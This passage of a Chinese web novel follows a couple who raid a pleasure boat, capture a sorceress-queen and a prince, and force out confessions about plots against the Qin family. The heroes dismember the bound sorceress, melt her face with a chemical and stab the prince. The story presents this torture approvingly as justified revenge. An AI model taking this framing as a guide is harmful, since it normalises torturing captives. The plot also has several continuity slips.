秦远霄转头看向宁芷薇,眼中闪过一丝温柔。他正要说什么,突然听到远处传来一阵骚动。 两人警觉地站起身,只见营地外围火光冲天。一群人影向这边冲来,为首的正是昨晚见过的盐帮头目。 "把人交出来!"那人怒吼道,"我知道你们藏了人!" 田丰连忙出来周旋:"这位大哥,我们真的不知道你说的是谁..." 那头目不耐烦地挥了挥手中的皮鞭:"少废话!不交人,今晚就把你们全都剁了喂狗!" 秦远霄和宁芷薇对视一眼,都看到了对方眼中的决心。就在他们准备出手的时候,一个熟悉的声音从黑暗中传来。 "盐帮的诸位,别来无恙啊。" 秦玉辰带着一队士兵现身,将盐帮众人团团围住。那头目脸色大变,显然没料到会有这一出。 "你...你是谁?"他色厉内荏地问道。 秦玉辰冷笑一声:"四年前剿灭你们的那个人,现在又来了。" 盐帮众人闻言,顿时乱作一团。有人想逃,却被士兵们拦住。秦玉辰一声令下,将这群人尽数拿下。 事情平息后,秦玉辰走到秦远霄身边,低声道:"多谢你提供的线索,让我们顺藤摸瓜,找到了更多证据。" 秦远霄点点头,却没有多说什么。宁芷薇站在一旁,敏锐地察觉到两兄弟之间似乎有些隔阂。 湖面如镜,倒映着夜空繁星。 一艘游轩缓缓驶过,灯火通明,歌舞声隐约传来。宁芷薇和秦远霄悄然潜入水中,向游轩游去。靠近船身,秦远霄轻轻一跃,带着宁芷薇落在甲板上。船上侍卫众多,两人不敢大意,屏息潜行,宁芷薇心跳加速,生怕被人发现,秦远霄察觉她的紧张,轻轻握住她的手。 两人躲过巡逻的侍卫,来到二层甲板,透过窗户,宁芷薇看到一个熟悉的身影。她瞳孔微缩,低呼一声:"是东昭!" 秦远霄点头,眼中闪过一丝冷意:"看来此行不虚。" 宁芷薇仔细打量着东昭身边的人,那人蓄着络腮胡,面容模糊不清。她转向秦远霄,轻声问道:"你认识他吗?" 秦远霄皱眉,目光中带着一丝困惑:"有些眼熟,但说不上来。" 就在此时,远处驶来一艘小船,船头立着一个身材婀娜的女子,月光下只能隐约看到她的轮廓。 "国师大人到了。"一个侍卫向东昭报告。 东昭闻言,立刻起身整理衣冠。宁芷薇和秦远霄对视一眼,都看出了对方眼中的疑惑。 "国师?"宁芷薇轻声问道,眉头微蹙,"是何方神圣?" 秦远霄摇头:"我也不知,但想必不简单。" 两人屏息凝神,静待国师登船。只见一个身着青衣的女子缓步而来,她面容清冷,眉宇间透着一股不怒自威的气势。 东昭亲自相迎,态度恭敬:"国师大人,您来了,请随我入内。" 青衣女子微微颔首,跟随东昭进入内舱,宁芷薇和秦远霄悄悄跟了上去。 "国师大人,盐帮之事,还需您多多费心。"东昭开口道,语气中带着几分讨好。 青衣女子淡然一笑:"王爷放心,一切尽在掌控之中。" 第五十八章 短兵相接 内舱装饰奢华,烛光摇曳,东昭谄媚地引路,国师径直入舱,慵懒地倚坐上首。她眉头微蹙,语气中带着几分不悦:"秦家人太过固执,难以掌控。" 东昭笑容僵硬,目光闪烁不定:"国师大人,秦玉辰正适合做盐帮傀儡。当初他如何将本王的盐帮搞得溃不成军,未来就要如何帮本王将盐帮发展壮大下去。" 国师冷眼瞥向一旁神情呆滞的秦玉辰,不置可否:"本国师活捉他,可不是为你报仇。" 听到"秦玉辰"三个字,宁芷薇与秦远霄同时心下一紧。秦远霄本能地朝着那个络腮胡男子看去,瞳孔猛地收缩。他低语,声音微颤:"那是三哥。" 宁芷薇轻轻握住他的手,无声地安抚。她能感受到秦远霄掌心渗出的冷汗,心中隐隐有了不祥的预感。 国师沉吟片刻,从怀中取出一个小瓷瓶,就在她准备打开瓶塞的一刹那,两支箭矢破空而至。 国师身形一闪,堪堪避过,东昭大喊:"来人,有刺客!" 侍卫蜂拥而入,国师也从腰间抽出软剑朝着船舱顶部跃起。 宁芷薇见势头不对,拉着秦远霄闪身进入了空间。 片刻后,两人换上夜行衣重现身,宁芷薇轻巧跃下,解决门口守卫,秦远霄来到秦玉辰面前,轻声唤道:"三哥?"然而秦玉辰毫无反应,仿佛一具没有生气的傀儡,宁芷薇果断将秦玉辰送入空间,两人刚出舱门,正撞上赶来的国师。 "刺客在这里!"国师厉喝一声,软剑挥舞而来。 秦远霄挡在宁芷薇身前,九龙折扇迎击,刀剑相撞,火花四溅。宁芷薇背靠秦远霄,应对蜂拥而来的侍卫,她手中粉末一撒,敌人纷纷倒地。 国师几招过后,已知不敌秦远霄,她眯起眼睛,暗自盘算退路,秦远霄步步紧逼,招式凌厉如风,宁芷薇则游刃有余,轻松应对残余敌手。 夜色中,刀光剑影交织成一片,甲板上,喊杀声此起彼伏。 东昭躲在一旁,脸色阴晴不定。国师咬牙暗恨,却无力回天。 秦远霄眼中寒光闪烁,每一招都直指要害,宁芷薇飘逸如蝶,轻松化解敌招,两人配合默契,如一体双魂。 国师渐感力不从心,额上冷汗涔涔。东昭见势不妙,悄悄向船尾退去。就在此时,秦远霄一刀劈开国师软剑,直指其喉。宁芷薇飞身而至,制住东昭后颈。 月光下,四人僵持不下,船舱内外,一片寂静。 秦远霄冷声质问:"说吧,为何要对付秦家?" 国师冷笑一声,不发一言。 东昭颤声道:"我、我只是奉命行事。" "谁的命令?"宁芷薇的手指微微用力,东昭顿时冷汗直冒,东昭支支吾吾,不敢直言。 秦远霄眸光一寒,刀尖微动,国师终于开口:"你们休想从我这里得到答案。" 就在此时,远处突然传来一阵骚动,众人循声望去,只见一队人马急速驶来。 国师的眼底闪过一丝阴冷,手指微微颤抖着伸向怀中,宁芷薇目光如炬,瞬间捕捉到这细微的动作,她心中暗叫不好,手腕一翻,一支小巧的麻醉枪悄然出现。 "想耍花样?"宁芷薇冷笑一声,毫不犹豫地扣下扳机。 一声轻响,国师还未来得及做出反应,便觉小腿一麻。她难以置信地瞪大眼睛,身子不受控制地软倒在地。 宁芷薇快步上前,一把抓住国师的手臂,她转头看向秦远霄,低声道:"走,下楼。" 两人刚到楼梯口,就听见一阵脚步声由远及近,宁芷薇心头一紧,凝神戒备。只见一群人拥簇着一名锦衣华服的男子缓步而来。 "东昭?"宁芷薇凑近秦远霄耳边,轻声说:"东昭交给你,其他人我来对付。" 秦远霄微不可察地点了点头,手中不知何时多了一支麻醉枪,东昭还未来得及开口,肩头便传来一阵刺痛,他眼神瞬间变得迷离,身子摇晃着向后倒去。 与此同时,宁芷薇手腕一抖,一把细密的粉末撒向周围的侍卫和盐帮众人。那些人还没反应过来发生了什么,就纷纷倒地不起。 宁芷薇趁机上前,一把抓住东昭的手臂,她回头看了眼秦远霄,低声道:"清理现场,不能留下活口。" 秦远霄神色凝重地点头,开始仔细搜查每个角落,宁芷薇则拖着东昭,快步走向游轩另一端。 正当两人忙着处理现场时,一阵细微的啜泣声引起了宁芷薇的注意。她循声望去,只见几名歌姬舞姬缩在角落里,瑟瑟发抖。 宁芷薇深吸一口气,从怀中取出一小瓶药粉。 "给她们服下这个,"宁芷薇递给秦远霄,"至少能保住性命。" 秦远霄接过药瓶,他们虽不愿伤及无辜,但眼下情况容不得半点马虎,那些歌姬舞姬惊恐地看着他们,却不敢有丝毫反抗。 药物很快发挥了作用,所有人都陷入了昏睡。 "该走了,"她轻声说道。 宁芷薇从四处搜罗来一些值钱物件,悄悄收进怀中。与此同时,秦远霄将火把丢在游轩各处, 火光冲天而起,映红了半边天空。 湖面上,一艘小船静静地划向远方。 船只靠岸后,两人迅速上了岸。秦远霄刚要开口,却被宁芷薇一个眼神制止了。她指了指不远处的树丛,那里隐约有个人影在晃动。 两人屏息凝神,小心翼翼地向那个方向靠近。就在这时,一个熟悉的声音响起。 "是九弟和九弟妹吗?" 宁芷薇和秦远霄同时愣住了。"八哥?你怎么会在这里?"秦远霄惊讶地问道。 "我见你们悄悄离开,担心你们会有危险,便一直守在这里等着。"秦雪松的声音里带着些许关切。 宁芷薇与秦远霄对视一眼,眼中都闪过一丝犹豫。该不该告诉秦雪松今晚发生的事?如果说了,又该如何解释秦玉辰的下落? 秦远霄深吸一口气,决定坦白部分事实。"八哥,我们刚才在游轩上遇到了东昭......" 他简略地讲述了游轩上发生的事,以及秦玉辰还活着的消息。当然,关于他们使用特殊手段的部分被巧妙地略过了。 秦雪松听完,神色激动。"你说三哥也没死?他人在哪里,快带我去见他。" 秦远霄心中一紧,连忙编造理由。"我们怕带着三哥一起容易引人注目,就将他暂时藏在一个安全的地方。明日我和芷薇会去接他。" 秦雪松虽有些失望,但也明白事态紧急。"那好,明日我和你们一起去。" "不行,"宁芷薇突然开口,"最近盐泊附近不太平,我们兄弟俩必须有一个人留下守护家人。" 秦雪松沉默片刻,终于点头同意。"那你们明日出去一定要小心。" 眼看秦雪松转身要走,宁芷薇忙道:"八哥,在我们带三哥回来之前,这事先别告诉娘和嫂嫂们,免得她们担心。" 秦雪松应了一声,转身离去。宁芷薇和秦远霄这才松了口气,悄悄回到各自的帐篷。 就在宁芷薇准备入睡时,帐篷外传来了庞勇的声音。"九爷,属下有要事禀报。" 秦远霄装作刚被吵醒的样子,走出帐篷。"何事?" 庞勇压低声音道:"九爷,盐泊上最大的游轩着火了,属下等亲眼看到昭王带人上了游轩。" 秦远霄点头:"你们继续盯着,有新消息速速来报。" 今夜过后,风暴即将来临。 第五十九章 初见端倪 秦玉辰如同傀儡般矗立在那里,面无表情。东昭与国师仍昏迷不醒。 宁芷薇与秦远霄默契地上前,分头搜查两人身上的物品。宁芷薇在国师身上发现了一万多两银票、几包毒药和一个小瓷瓶。秦远霄则从东昭身上搜出几千两银票和一块上等玉佩。 宁芷薇对那小瓷瓶格外在意,心中暗想:莫非里面装的就是傀儡蛊的母蛊?可她也不敢贸然打开一探究竟。 秦远霄捆好东昭,走到宁芷薇身边。他眼中流露出的恨意令宁芷薇不禁一凛。 "我秦家与此人有血海深仇。"秦远霄咬牙切齿地说道,"大哥与二哥同时死在她手中。她不仅是西域法师,还是南疆皇后。" 宁芷薇倒吸一口凉气,史书中对秦家兄弟之死语焉不详,她万万没想到竟是死于一个女人之手。 秦远霄继续道:"此人擅长用毒。当年我大哥、二哥已经斩杀了地方主帅,眼看就要攻进城,却中了她的毒计,当场丧命。这还不算,她还命人将我兄长的头颅砍下,挂在城楼示众。" 宁芷薇能感受到秦远霄压抑的怒火。她上前将国师五花大绑,注射药剂使其转醒。 国师微微一动,眼神迷茫,还未等她反应过来,秦远霄的军刀已经抵在她颈间。 "妖妇,秦玉辰身上的傀儡蛊可是你下的?"秦远霄冷声质问。 国师倒吸一口凉气,目光在秦远霄和宁芷薇之间游移,她认出了秦远霄,却对宁芷薇一无所知。 "秦远霄?"国师冷笑一声,"你怎知我就一定会死?" 话音未落,国师身子一缩,绑在身上的绳子竟瞬间脱落,她伸手入怀,似要取什么,秦远霄反应极快,手起刀落,直接砍掉了她的一只手。国师痛呼一声,却仍不忘施展身法,一个利落的鲤鱼打挺站了起来。 秦远霄的刀尖再次抵住她的咽喉。国师垂眸看了眼寒光闪闪的利刃,语气微微软化:"秦远霄,秦玉辰的命可是掌握在我手中,我若死了,他也得陪葬。" 秦远霄眸中寒光一闪,更加确定三哥身中傀儡蛊确是风刃所为,这也是他强忍杀意的缘由。 宁芷薇见状,再次取出麻醉枪将风刃打晕。她简单处理了风刃的伤口,防止她因失血过多而亡,随后对秦远霄道:"先给三哥取蛊。" 宁芷薇解释道:"按《奇虫秘录》记载,傀儡蛊的子蛊一旦脱离宿主身体,就会立刻奔向母蛊,傀儡蛊怕火,想要彻底杀死它,必须用强劲的火力。" 她从商城购买了一台喷火枪,调至最大火力后交给秦远霄。 两人默契地来到手术室,有了替秦雪松解蛊的经验,这次操作进行得颇为顺利,不到一个小时,子蛊就被取出,装入玻璃瓶中。 宁芷薇给秦玉辰注射了镇定剂,以防他提前清醒发现空间秘密。 她没有像上次那样立即在瓶内添加血浆,很快子蛊破瓶而出,直奔母蛊所在。从国师身上搜出瓷瓶纹丝不动,子蛊只得徒劳盘旋。秦远霄眼中寒光一闪,毫不犹豫地抬手启动喷火枪。蛊虫在火焰中挣扎片刻,化为灰烬。此时瓷瓶微微震颤,秦远霄眉头紧蹙,看来风刃果然是罪魁祸首,既然秦玉辰已脱困,便无需再有顾虑。 宁芷薇心思电转,决定对风刃施以催眠之术,她取出怀表和音乐播放器,悄然布置妥当。 风刃睁眼,便见一物在眼前晃动。 "秦远霄,休要......"话未说完,风刃的眼神已然呆滞。 宁芷薇试探问道:"你是谁?" "风刃,南疆皇后,国师大人。"声音平板,不带丝毫情感。 宁芷薇暗自点头,继续追问:"何时开始控制秦玉辰?" "四年前,战役中生擒,用作试验。" "为何选他?" "师父说,秦家人心性坚韧,能控制则证明出师。" "还控制了谁?" "只有秦玉辰一人。" "为何?" "未能完全操控,母蛊无法产子。" 宁芷薇与秦远霄交换眼神。秦远霄眸中闪过一丝疑惑,显然对这个答案并不满意。他压低声音问道:"秦雪松呢?" 宁芷薇轻轻摇头,示意稍后再谈。她继续问道:"秦家男儿有多少死于你手?" "无人。"风刃答得干脆。 秦远霄难以置信,双拳紧握,指节泛白。他强忍怒火,低声道:"不可能。" 宁芷薇轻触秦远霄的手臂,示意他冷静。她继续问道:"秦君瑞、秦嘉志呢?" "用了迷药,未曾杀害。" "城楼上的人头?" "随意找来,血污难辨。" "他们如今何处?" "师父带走了。" "你师父是谁?" 风刃突然痛苦挣扎:"不能说...头好疼..." 宁芷薇见状,赶紧调整怀表频率,柔声安抚:"别怕,这里很安全。" 风刃渐渐平静,宁芷薇抓紧时间问:"秦家还有多少男儿在世?" "秦君瑞、秦嘉志在师父处,秦秦玉辰被我控制,秦远霄幸运躲过。" "秦家被抄家流放,你可有参与?" "明德帝刚愎自用,疑心太重。" "你与东昭什么关系?" "互相利用。" "详细说说。" "他想争储,需南疆相助。许诺登基后割让三城,年供粮食二十万斤。" 宁芷薇倒吸一口冷气,秦远霄面色阴沉,眼中怒火翻腾。他狠狠瞪向昏迷的东昭,恨不得立刻将其碎尸万段。 宁芷薇见秦远霄情绪激动,轻轻拉住他的衣袖。秦远霄深吸一口气,勉强平复心绪。 "时间不多,还有什么想问的?"宁芷薇低声问道。 秦远霄沉吟片刻,走到风刃面前:"秦玉辰为何会出现在盐帮?" 风刃眼神微动,缓缓开口:"盐帮暗中与南疆勾结,我需要一个内应。" 秦远霄追问:"他在盐帮担任何职?" "副帮主,负责联络南疆。" "东昭让秦玉辰做什么?"秦远霄沉声问道,眼中闪烁着复杂的光芒。 风刃嘴角扯出一抹冷笑,"他想让秦玉辰做盐帮的帮主。东昭说,秦玉辰不但受我控制,动起手来还能以一敌百。" 秦远霄眉头紧蹙,心中涌起一阵怒意。他强压下心中的情绪,继续追问:"今日你与东昭见面又是所为何事?" 风刃略显疲惫地叹了口气,"秦玉辰时常会不受我子蛊的控制。无奈之下,我只能操纵母蛊使他短时间内失去意识。这几日,我发现母蛊的情况不对,知道是秦玉辰这里出了问题,便赶来救急。" 秦远霄听罢,心中暗自盘算。他想再次询问风刃的师父是谁,但回想起先前风刃的异常反应,决定换个方式。 "你师父如今在哪里?"秦远霄试探性地问道。 风刃神色如常,"我师父常年四处云游,行踪诡异。我已经三年没有见过他了。" 秦远霄追问:"你师父长得有什么特点?" "鹤发童颜,常披墨色披风。"风刃顿了顿,"他喜欢将自己打扮成女人的样子。其他我就不清楚了。" 秦远霄深吸一口气,终究还是忍不住问出口:"你师父到底是谁?" 话音刚落,风刃突然抱头痛呼:"我不能说...我不能说..."她的身体剧烈颤抖,眼中闪过一丝痛苦和挣扎。 宁芷薇见时间将尽,赶紧问道:"南疆还有什么阴谋?" 风刃嘴角微扬,露出诡异笑容:"大顺朝气数已尽,南疆终将一统天下。" 话音刚落,风刃猛然惊醒,双目圆睁,惊恐万分。"你们...你们对我做了什么?"她厉声质问。 秦远霄冷笑一声,不答反问:"南疆一统天下?好大的野心。" 第六十章 浮出水面 风刃脸色骤变,显然意识到自己泄露了机密。她咬牙切齿,怒视秦远霄:"你休想从我口中得到更多。" 宁芷薇轻叹一声,对秦远霄说:"看来只能用些非常手段了。" 秦远霄点头,眼中闪过一丝狠厉:"既然如此,那就别怪我心狠手辣。" 风刃闻言,不禁打了个寒颤,但仍强撑着嘴硬道:"尽管来吧,我早已无所畏惧。" 秦远霄冷冷一笑,转身离去,片刻后拿来一只青铜小鼎。宁芷薇见状,心中了然,这是秦家祖传的逼供法器。风刃虽不知此物为何,却也感到一阵心悸。 秦远霄将小鼎放在风刃面前,淡淡开口:"最后给你一次机会,是说,还是不说?" 风刃咬紧牙关,眼中闪过一丝挣扎。她深知自己已无退路,若是开口,便是背叛南疆;若是不说,恐怕难逃一死。一时间,她心中五味杂陈,既恨秦远霄的狠辣,又恨自己的无能。 秦远霄见风刃迟迟不语,冷笑道:"看来你是选择了沉默。也罢,那就让你尝尝秦家的手段。" 他正欲启动青铜小鼎,宁芷薇却突然出声:"且慢。" 秦远霄疑惑地看向宁芷薇。只见她眉头紧蹙,似乎在思索什么。片刻后,宁芷薇开口道:"风刃,你可知秦雪松的下落?" 风刃闻言,眼中闪过一丝困惑:"秦雪松?他不是已经死了吗?" 宁芷薇与秦远霄对视一眼,两人心中都升起一丝疑惑。若风刃真的不知秦雪松还活着,那么给秦雪松下蛊之人又会是谁? 秦远霄盯着装有傀儡蛊子蛊的瓶子,眉头微蹙:"风刃只提到三哥的性命掌握在她手中,难道八哥所中的傀儡蛊与她无关?" 宁芷薇拿起装有秦雪松身上取出子蛊的玻璃瓶,心思一动:"是否与她有关,一试便知。" 两人带着装有秦雪松身上子蛊的玻璃瓶来到农场空地,又取出在风刃身上搜到的小瓷瓶,他们将两个瓶子相隔十米左右摆放在地上。 "如果子蛊奔向母蛊,就说明给八哥下蛊之人是风刃;若非如此,我们还得继续养着这只子蛊,以便寻找真正的施蛊者。" 秦远霄点头表示明白,他一手握着喷火枪,一手紧握玻璃瓶,做好一切准备。 两人对视一眼,宁芷薇缓缓打开瓶塞,子蛊如脱缰野马般飞出,却并未奔向另一头的瓷瓶,或许是因为处在空间的缘故,它似乎无法辨别方向,如同受惊的苍蝇般到处乱撞。 秦远霄眼疾手快,一个灵巧的跃起将子蛊重新收入瓶中。 两人四目相对,答案不言而喻——这只子蛊的控制者并非风刃! 宁芷薇轻叹一声:"看来给八哥下蛊的另有其人。" 秦远霄眉头紧锁,心事重重,宁芷薇见状,连忙调整怀表摇晃的频率,试图重新控制风刃。然而,这次毫无作用,风刃的眼神逐渐清明,似乎对刚才发生的事毫不知情。 风刃恢复神智后,目光重新变得戏谑。她直视着秦远霄,语气中带着挑衅:"我可以明着告诉你,秦玉辰中了我的傀儡蛊。一旦我身死,我豢养的母蛊就会跟着我一同死亡。你应该明白这意味着什么。" 秦远霄冷冷地看着她,心中已有计较。风刃却误以为自己的威胁奏效,继续说道:"怎么样秦远霄,是不是怕了?你现在放我离开,也许我一高兴,会考虑放秦玉辰一马。" 她低头看了眼自己断了的手臂,语气中带着几分自暴自弃,"反正我如今已经变成一个残缺之人,死又何妨?" 秦远霄眼中闪过一丝冷意,不再与她废话,他手起刀落,再次砍断了风刃的另一条手臂, 鲜血飞溅,风刃发出一声凄厉的惨叫。宁芷薇面无表情地上前,为秦远霄擦去额头的汗水,她能理解秦远霄心中的那股恨意,若换做是她,恐怕会做得更狠。 宁芷薇转身回到医务室,取出一小瓶试剂。她回来后,当着风刃的面打开瓶盖,将液体全部浇在风刃脸上。 起初,风刃还在用秦玉辰的性命威胁秦远霄,但很快,她的脸上开始出现灼烧感,风刃想伸手去抓,这才发现自己已经失去了双手。 "秦远霄,你们到底对我做了什么?啊...好疼..."风刃痛苦地嘶吼着,几近癫狂。 秦远霄沉默地站在一旁,冷眼旁观。 风刃的脸开始渐渐溃烂,美丽的容颜瞬间不复存在。 就在这时,被五花大绑的东昭被刺耳的尖叫声惊醒,他看到不远处躺着一个浑身是血的女子,正痛苦地翻滚着,东昭辨认出那是风刃,顿时被吓得魂飞魄散。 "国师大人,你怎么了?"东昭下意识地想逃,却发现自己动弹不得。 他环顾四周,看到换上粗布麻衣的秦远霄,东昭一眼认出了他,惊恐地喊道:"秦远霄,你想造反吗?竟敢绑架本王。" 秦远霄冷哼一声:"我不是早已经被你们父子认定勾结外敌造反了吗?" 东昭闻言,顿时慌了神。他意识到秦远霄已经不在乎造反的罪名,自己失去了最后的筹码。 "秦远霄,你...你大胆...快放开本王,本王可以恕你无罪!"东昭声音颤抖,强装镇定。 秦远霄懒得与他废话,直接将东昭扔到距离风刃不到五米的地方,宁芷薇上前,狠狠踹了东昭几脚。 "看好了,如果不想和她落得同样下场,就一五一十将你对秦家做过的腌臜事全部说出来。"宁芷薇冷冷地说道。 风刃痛苦翻滚的身体碰巧滚到东昭面前,近在咫尺,东昭清晰地看到风刃脸上不断冒出的脓水,有些地方甚至露出了森森白骨。 东昭被吓得脸色惨白,下身一热,一股液体顺着大腿流下。他瑟瑟发抖,不知该如何是好。 秦远霄冷冷扫了一眼地上的东昭,嘴角勾起一抹讥讽的弧度。"堂堂王爷,竟如此不堪,真是让人大开眼界。"他的声音里带着刺骨的寒意,仿佛能冻结空气。 东昭蜷缩在地上,羞愧难当。他紧闭双眼,恨不得找个地缝钻进去,永远不要面对这个世界。 风刃用尽最后一丝力气,声音嘶哑地威胁道:"秦远霄,我若死,定要拉秦玉辰垫背!你一定会后悔的!"他的眼神中充满了怨毒和不甘。 东昭心中一颤,他深知风刃话中深意。记忆中,秦家兄弟情深似海,形影不离,然而此刻,秦远霄竟对兄长性命漠不关心,这份冷酷,让东昭不寒而栗,恐惧如潮水般涌上心头。 他强压下内心的恐惧,试图用甜言蜜语打动秦远霄。 "秦...秦远霄,只要你肯放我一马,我登基后必还秦家清白。不仅如此,还可封你为异姓王..."东昭的声音颤抖,眼中闪烁着希冀的光芒。 秦远霄对这些空头支票充耳不闻,眼神冷漠如冰。他早已对朝堂失望,这些虚名不过是过眼云烟。 东昭见秦远霄沉默,以为有了转机,正欲继续游说,却被风刃的一阵剧烈挣扎打断,风刃身上的脓水沾到东昭衣襟,惹得他一阵反胃。 "滚开!别碰我!"东昭厌恶地低吼,声音中满是嫌恶。 风刃闻言,强忍痛楚冷笑道:"你有何资格嘲笑我?落在秦远霄手里,你的下场不会好到哪去。"他的话语中充满了对东昭的鄙夷和对即将到来的报复的快意。 第六十一章 四哥之死 东昭浑身一颤,仍不愿接受残酷现实。 "不...不可能...我乃皇子,他不敢..."他的声音越来越小,仿佛在说服自己。 风刃艰难地吐出最后几个字:"拭目以待吧。" 话音刚落,他便再次陷入疯狂状态,身体在地上不停地翻滚扭曲。 宁芷薇见状,意念一动,将风刃尸体移至角落,这一幕落入东昭眼中,令他惊骇不已,他惊恐地盯着宁芷薇,身子不自觉地蜷缩,仿佛要把自己缩成一团。 "你...你到底是何方神圣?"东昭的声音颤抖,眼中满是惊恐。 宁芷薇冷眼看他,不屑一顾。 "我是谁不重要,重要的是你最好老实交代。"她的语气冰冷,不带一丝感情。 秦远霄一把揪起东昭的头发,逼问道:"听清楚了吗?如实招来,否则..." 他的声音低沉而危险,仿佛一头即将扑食的猛兽。 东昭额头渗出冷汗,眼神游移不定,他看看宁芷薇,又瞥向风刃的尸体,心中天人交战,恐惧和求生的本能在他内心激烈碰撞,让他无所适从。 秦远霄见他迟疑,冷声催促:"想好怎么说了吗?" 他的耐心已经快要耗尽。 东昭如困兽般嘶吼:"不!我是王爷,你不能这样对我!" 他的声音中充满了绝望和不甘。 秦远霄失去耐心,军刀猛地刺向东昭脚面。 "说不说?"他的声音冷得像冰。 东昭疼得惨叫连连,声音凄厉刺耳。 "啊!我说...我说...求你别杀我..."他的声音中充满了痛苦和恐惧。 宁芷薇看了眼挂钟,意识到时间紧迫,她正考虑要不要冒险施展催眠术,秦远霄那边却有了进展。 东昭终于崩溃,他的声音颤抖,眼中噙满泪水哀求道:"我说...我全说...只求你饶我一命。" 宁芷薇灵机一动,悄悄取出录音笔。她知道,接下来的每一个字都可能关系到秦家的命运。 东昭战战兢兢地开口,他的声音低沉,充满了羞愧和恐惧:"秦家谋反的证据...有些是我让西域法师伪造的。" "还有...还有..."东昭支支吾吾,似乎在犹豫要不要说出口。 秦远霄厉声喝道:"还有什么?" 他的眼神锐利如刀,仿佛要将东昭的灵魂刺穿。 "还有...秦修远的死..."东昭的声音几不可闻,却如同一记重锤击在秦远霄心上。 听到四哥名字,秦远霄眼中杀意更甚。 他一把揪住东昭衣领:"是你害死我四哥?"他的声音因愤怒而颤抖。 东昭颤抖着点头,泪如雨下。"当年...我嫉妒秦家权势...就暗中使绊子..."他的声音中充满了悔恨和恐惧。 "我...我派人在塞北散布谣言...说秦修远通敌叛国..."东昭的每一个字都像是在揭开秦远霄心中的伤疤。 秦远霄双目赤红,恨不得将东昭碎尸万段。他的呼吸急促,身体因愤怒而微微颤抖。 。"四哥到底是怎么死的?"秦远霄厉声喝问,声音中透着压抑的怒火。 东昭额头渗出冷汗,嘴唇微微颤抖。他的目光闪烁,似乎在权衡该如何回答。 宁芷薇见状,轻轻按住秦远霄手臂,柔声道:"夫君,别急,让他说完。" 她的声音柔和却坚定,仿佛一股清流抚平了秦远霄内心的怒火。 她转向东昭,眼神如刀般锐利:"王爷,不妨从头说起?" ""东昭如蒙大赦,继续交代:"我还...还贿赂了几个将领..."他的声音越来越小,仿佛在忏悔自己的罪行。 "让他们在战场上...故意不听秦修远号令..."东昭的每一个字都像是一把刀,深深刺入秦远霄的心脏。 "结果...结果酿成大败..敌军势大,我们节节败退。四哥...四哥力挽狂澜,带兵冲锋陷阵。" 秦远霄眼中闪过一丝痛楚,却又很快被怒火取代。他紧握双拳,指甲深陷掌心,却浑然不觉。 "然后呢?"宁芷薇追问道,语气冷静得令人心惊。 东昭深吸一口气,缓缓开口:"那日塞北..." 东昭咽了口唾沫,继续道:"我...我看准时机,想立功..." "你做了什么?"秦远霄咬牙切齿地问,每个字都像是从牙缝里挤出来的。 "我...我擅自带兵追击溃军。"东昭的声音越来越小,目光不停地在秦远霄和宁芷薇之间游移。 宁芷薇眯起眼睛:"四哥劝过你吗?" 东昭点头,脸上露出惭愧之色:"劝了,可我没听。" "结果呢?"秦远霄声音沙哑,似乎在强忍怒火。 东昭低下头,声音几不可闻:"中了埋伏。四哥...四哥为救我,带兵来援。" 秦远霄猛地抓住东昭的衣领,怒吼道:"然后呢!" 东昭被吓得浑身一颤,艰难地说出最后的真相:"他...他替我挡了致命一击。" 秦远霄松开手,踉跄着后退几步,脸上满是痛苦。他的胸膛剧烈起伏,仿佛有什么东西要冲破而出。 宁芷薇扶住丈夫,转头冷冷地看着东昭:"为何隐瞒真相?" 东昭低垂着头,声音中带着一丝懊悔:"怕...怕你们彻底倒向东岚。" 秦远霄冷笑一声:"就为这点猜忌,你就害得我们失去亲人?" 东昭抬头,眼中闪过一丝狡黠:"这不是你们一直想要的吗?倒向东岚啊,我只是给了你们一个理由。" 秦远霄怒极反笑:"好一个贼喊捉贼!"他的手不自觉地摸向腰间的佩刀。 宁芷薇察觉到丈夫的动作,轻轻按住他的手,低声道:"夫君,别冲动。" "还有什么没说的?"宁芷薇冷冷地问。 东昭沉默片刻,终于道出另一个秘密:"秦玉辰...他还活着。" "他中了风刃的傀儡蛊,"东昭继续道,"我...我利用了这一点。" 宁芷薇冷笑:"就为了报复他剿灭你的盐帮?" 东昭低下头,不再说话。房间里陷入了沉默,只有窗外传来的虫鸣声。 秦远霄深吸一口气,努力平复着内心的波澜。他凝视着东昭,眼中的怒火渐渐被一种复杂的情绪取代。 "东昭,"他开口,声音低沉而沙哑,"我们从小一起长大,你竟然...竟然..." 东昭抬起头,与秦远霄对视。他的眼中闪过一丝悔恨,但很快就被一种难以名状的情绪取代。 "秦远霄,你以为我想这样吗?"东昭苦笑,"在这个皇位争夺的漩涡里,我们都是棋子。我只是...比你们先看清了这一点。" 秦远霄冷笑:"所以你就背叛了我们?背叛了四哥?" 东昭沉默片刻,低声道:"为了活下去,我别无选择。" 宁芷薇轻叹一声,拉着丈夫的手:"夫君,我们走吧。" 秦远霄点点头,转身向门口走去。就在他们即将踏出房门时,东昭突然开口: "秦远霄,你真的以为你能置身事外吗?" 秦远霄停下脚步,却没有回头。 东昭继续说道:"皇位之争已经开始,你迟早要选择站队。到那时,你会发现,我们并没有什么不同。" "秦远霄,你会明白的...我们都是这场风暴中的棋子..." 东昭见秦远霄失神,妄图求得一线生机。"我...我已经全说了...求你们放过我吧..."他的声音中带着一丝希望,却又充满了恐惧。 秦远霄猛然回神,眼中杀意更甚。 第六十二章 失而复得的三哥 "放过你?"他冷笑一声,"你觉得可能吗?"他的声音冰冷刺骨,仿佛来自地狱深处。 东昭跪在地上,身躯不住颤抖。宁芷薇手持长刀,刀尖直指他的咽喉。秦远霄站在一旁,目光如刀般凌厉。 "我...我还知道一件秦家的大事,"东昭声音发颤,眼中闪过一丝希冀。 宁芷薇微微眯眼,刀尖稍稍收回。"说来听听。"她语气平淡,却暗含威压。 "是关于秦家无后的原因,"东昭低声道,"我可以告诉你们,但你们得保证我的安全。" 秦远霄冷哼一声,正欲开口。宁芷薇却轻轻摇头,示意他稍安勿躁。 "说吧,若是有价值,或许能换你一命。"宁芷薇淡淡道。 东昭深吸一口气,缓缓道出真相:"是太后所为,她买通了秦家老夫人身边的周嬷嬷,在新嫁娘的茶水里下药..." 话音未落,秦远霄已冲上前去。他一把掐住东昭的脖子,眼中怒火喷薄而出。"你说什么?"他咬牙切齿地问。 东昭被掐得说不出话,只能拼命摇头。宁芷薇轻轻拍了拍秦远霄的肩膀,示意他松手。秦远霄深吸一口气,缓缓松开手。 东昭跌坐在地,大口喘息。"继续说,"宁芷薇冷冷道。 东昭揉着脖子,声音嘶哑:"太后怕秦家势力壮大,所以..." 